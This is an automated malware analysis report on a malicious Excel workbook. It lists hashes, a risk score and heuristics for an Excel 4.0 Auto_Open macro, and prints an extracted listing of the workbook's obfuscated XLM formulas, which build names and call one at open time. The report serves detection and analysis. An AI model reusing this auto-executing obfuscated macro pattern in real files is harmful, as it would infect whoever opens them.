Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de8b1e6282163b8d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:17 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: b50beda99ad17ffea7433f723f3413e6 SHA-1: 3cc717e61679c4934e6f14b7db75a8da484bc382 SHA-256: de8b1e6282163b8dd3728b06bbf22d529e5e218b911492ad85c81f392ffc8097
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6676 bytes
SHA-256: c1bf93a92676272573bfb49bf1ece132dd2442db1f5e474531553d6f1fea4616
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KnnL
' 0018     25 LABEL : Cell Value, String Constant - aqYNgeYNFg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G168 
' 0018     23 LABEL : Cell Value, String Constant - BwJVoptR len=0 
' 0018     20 LABEL : Cell Value, String Constant - CDMzn len=0 
' 0018     21 LABEL : Cell Value, String Constant - DzNEWQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - EQHAqdcNNK len=0 
' 0018     20 LABEL : Cell Value, String Constant - gQkzZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - IdGCkNOShFt len=0 
' 0018     23 LABEL : Cell Value, String Constant - JrCzeCLx len=0 
' 0018     25 LABEL : Cell Value, String Constant - KSsKMnSuLY len=0 
' 0018     23 LABEL : Cell Value, String Constant - mtLCbrzd len=0 
' 0018     25 LABEL : Cell Value, String Constant - NlyhlpfIaD len=0 
' 0018     25 LABEL : Cell Value, String Constant - oUFoHfQpuS len=0 
' 0018     23 LABEL : Cell Value, String Constant - PnvwMGKW len=0 
' 0018     27 LABEL : Cell Value, String Constant - RaTWUfBhjRDD len=0 
' 0018     26 LABEL : Cell Value, String Constant - RoAQozOdBrU len=0 
' 0018     26 LABEL : Cell Value, String Constant - TTMkLJDeeDM len=0 
' 0018     21 LABEL : Cell Value, String Constant - VwFmXs len=0 
' 0018     24 LABEL : Cell Value, String Constant - wMVKiXMdQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - wNAfNh len=0 
' 0018     27 LABEL : Cell Value, String Constant - ypsJIjTdjHyw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KnnL,Q71,"",876.00000000000000000000
'  KnnL,Q72,"",360.00000000000000000000
'  KnnL,Q73,"",434.00000000000000000000
'  KnnL,Q74,"",523.00000000000000000000
'  KnnL,Q75,"",196.00000000000000000000
'  KnnL,Q76,"",514.00000000000000000000
'  KnnL,G77,"SET.NAME("RoAQozOdBrU",0+VALUE("0"))",""
'  KnnL,G82,"SET.NAME("TTMkLJDeeDM",RoAQozOdBrU)",""
'  KnnL,G86,"SET.NAME("CDMzn",RoAQozOdBrU)",""
'  KnnL,G91,"SET.NAME("RaTWUfBhjRDD",COUNTA(EQHAqdcNNK))",""
'  KnnL,G94,"SET.NAME("JrCzeCLx",COUNTA(KSsKMnSuLY))",""
'  KnnL,G97,[],""
'  KnnL,G99,"SET.NAME("BwJVoptR","")",""
'  KnnL,G102,"TTMkLJDeeDM",""
'  KnnL,G104,"SET.NAME("ypsJIjTdjHyw",HLOOKUP("*",EQHAqdcNNK,TTMkLJDeeDM,FALSE))",""
'  KnnL,G107,"oUFoHfQpuS",""
'  KnnL,G110,"SET.NAME("IdGCkNOShFt",RoAQozOdBrU)",""
'  KnnL,G113,[],""
'  KnnL,G116,"IdGCkNOShFt",""
'  KnnL,G119,"NlyhlpfIaD",""
'  KnnL,G123,"PnvwMGKW",""
'  KnnL,G127,"wMVKiXMdQ",""
'  KnnL,G129,"SET.NAME("wNAfNh",VALUE(HLOOKUP("*",KSsKMnSuLY,wMVKiXMdQ,FALSE)))",""
'  KnnL,G134,"mtLCbrzd",""
'  KnnL,G137,"BwJVoptR",""
'  KnnL,G139,"CDMzn",""
'  KnnL,G141,NEXT(),""
'  KnnL,G145,"VwFmXs",""
'  KnnL,G150,[],""
'  KnnL,G155,"aqYNgeYNFg",""
'  KnnL,G160,NEXT(),""
'  KnnL,G164,RETURN(),""
'  KnnL,G194,"SET.NAME("DzNEWQ",G77)",""
'  KnnL,G199,"EQHAqdcNNK",""
'  KnnL,G201,"SET.NAME("KSsKMnSuLY",R41C11)",""
'  KnnL,G205,"SET.NAME("aqYNgeYNFg",216)",""
'  KnnL,G210,"SET.NAME("gQkzZ",7)",""
'  KnnL,G215,DzNEWQ(),""
'  KnnL,G216,HALT(),""

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